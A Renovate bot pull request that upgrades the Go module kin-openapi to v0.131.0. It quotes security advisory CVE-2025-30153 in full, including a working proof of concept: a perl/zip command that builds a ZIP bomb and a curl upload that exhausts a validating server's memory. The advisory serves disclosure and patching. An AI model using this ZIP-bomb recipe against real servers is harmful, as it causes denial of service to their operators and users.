Skip to content

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented May 15, 2025

This PR contains the following updates:

Package Change Age Confidence
github.com/getkin/kin-openapi v0.108.0 -> v0.131.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-30153

Summary

When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.

Details

The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.

PoC

To reproduce the vulnerability, you can use the following OpenAPI schema:

openapi: 3.0.0
info:
  title: 'Validator'
  version: 0.0.1
paths:
  /:
    post:
      requestBody:
        required: true
        content:
          multipart/form-data:
            schema:
              type: object
              required:
                - file
              properties:
                file:
                  type: string
                  format: binary
      responses:
        '200':
          description: Created

And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):

package main

import (
	"fmt"
	"log"
	"net/http"

	"github.com/getkin/kin-openapi/openapi3filter"
	legacyrouter "github.com/getkin/kin-openapi/routers/legacy"

	"github.com/getkin/kin-openapi/openapi3"
)

func handler(w http.ResponseWriter, r *http.Request) {
	loader := openapi3.NewLoader()

	doc, err := loader.LoadFromFile("schema.yaml")
	if err != nil {
		http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
		return
	}

	if err := doc.Validate(r.Context()); err != nil {
		http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
		return
	}

	router, err := legacyrouter.NewRouter(doc)
	if err != nil {
		http.Error(w, "Failed to create router", http.StatusInternalServerError)
		return
	}

	route, pathParams, err := router.FindRoute(r)
	if err != nil {
		http.Error(w, "Failed to find route", http.StatusNotFound)
		return
	}

	input := &openapi3filter.RequestValidationInput{
		Request:     r,
		QueryParams: r.URL.Query(),
		Route:       route,
		PathParams:  pathParams,
	}

	if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
		http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
		return
	}

	w.Write([]byte("request ok !"))
}

func main() {
	http.HandleFunc("/", handler)
	log.Fatal(http.ListenAndServe(":8080", nil))

}

We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:

perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt

Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@​/tmp/bomb.zip;type=application/zip" -v.

Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)

Impact

An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance.
It seems to only be exploitable if the OpenAPI schema allows for multipart upload.

Remediation

I see at least 2 potential fixes/improvements:

  • Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
  • Update ZipFileBodyDecoder to enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)

Release Notes

getkin/kin-openapi (github.com/getkin/kin-openapi)

v0.131.0

Compare Source

What's Changed

  • openapi3filter: de-register ZipFileBodyDecoder and make a few decoders public by @​fenollp in #​1059

Full Changelog: getkin/kin-openapi@v0.130.0...v0.131.0

v0.130.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.129.0...v0.130.0

v0.129.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.128.0...v0.129.0

v0.128.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.127.0...v0.128.0

v0.127.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.126.0...v0.127.0

v0.126.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.125.0...v0.126.0

v0.125.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.124.0...v0.125.0

v0.124.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.123.0...v0.124.0

v0.123.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.122.0...v0.123.0

v0.122.0

Compare Source

What's Changed

Full Changelog: getkin/kin-openapi@v0.121.0...v0.122.0

v0.121.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.120.0...v0.121.0

v0.120.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.119.0...v0.120.0

v0.119.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.118.0...v0.119.0

v0.118.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.117.0...v0.118.0

v0.117.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.116.0...v0.117.0

v0.116.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.115.0...v0.116.0

v0.115.0

Compare Source

What's Changed

Full Changelog: getkin/kin-openapi@v0.114.0...v0.115.0

v0.114.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.113.0...v0.114.0

v0.113.0

Compare Source

What's Changed

New Contributors

Full Changelog: getkin/kin-openapi@v0.112.0...v0.113.0

[v0.112.0](https://redirect.github.com/get


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot requested review from sergenyalcin and ulucinar as code owners May 15, 2025 16:54
@renovate renovate bot added the automated label May 15, 2025
Copy link
Contributor Author

renovate bot commented May 15, 2025

ℹ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 2 additional dependencies were updated
  • The go directive was updated for compatibility reasons

Details:

Package Change
go 1.21 -> 1.22.5
github.com/go-openapi/jsonpointer v0.19.5 -> v0.21.0
github.com/go-openapi/swag v0.21.1 -> v0.23.0

@renovate renovate bot changed the title Update module github.com/getkin/kin-openapi to v0.131.0 [SECURITY] Update module github.com/getkin/kin-openapi to v0.131.0 [SECURITY] - autoclosed Jun 10, 2025
@renovate renovate bot closed this Jun 10, 2025
@renovate renovate bot deleted the renovate/go-github.com-getkin-kin-openapi-vulnerability branch June 10, 2025 13:13
@renovate renovate bot changed the title Update module github.com/getkin/kin-openapi to v0.131.0 [SECURITY] - autoclosed Update module github.com/getkin/kin-openapi to v0.131.0 [SECURITY] Jun 10, 2025
@renovate renovate bot reopened this Jun 10, 2025
@renovate renovate bot force-pushed the renovate/go-github.com-getkin-kin-openapi-vulnerability branch 2 times, most recently from 23dfba8 to 2ba3dd8 Compare June 10, 2025 22:43
@renovate renovate bot force-pushed the renovate/go-github.com-getkin-kin-openapi-vulnerability branch from 2ba3dd8 to c53cbc5 Compare August 10, 2025 12:28
@renovate renovate bot changed the title Update module github.com/getkin/kin-openapi to v0.131.0 [SECURITY] Update module github.com/getkin/kin-openapi to v0.131.0 [SECURITY] - autoclosed Sep 24, 2025
@renovate renovate bot closed this Sep 24, 2025
@renovate renovate bot changed the title Update module github.com/getkin/kin-openapi to v0.131.0 [SECURITY] - autoclosed Update module github.com/getkin/kin-openapi to v0.131.0 [SECURITY] Sep 24, 2025
@renovate renovate bot reopened this Sep 24, 2025
@renovate renovate bot force-pushed the renovate/go-github.com-getkin-kin-openapi-vulnerability branch 2 times, most recently from c53cbc5 to b2cfe90 Compare September 25, 2025 01:43
@renovate renovate bot force-pushed the renovate/go-github.com-getkin-kin-openapi-vulnerability branch from b2cfe90 to 93007fe Compare October 9, 2025 10:15
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants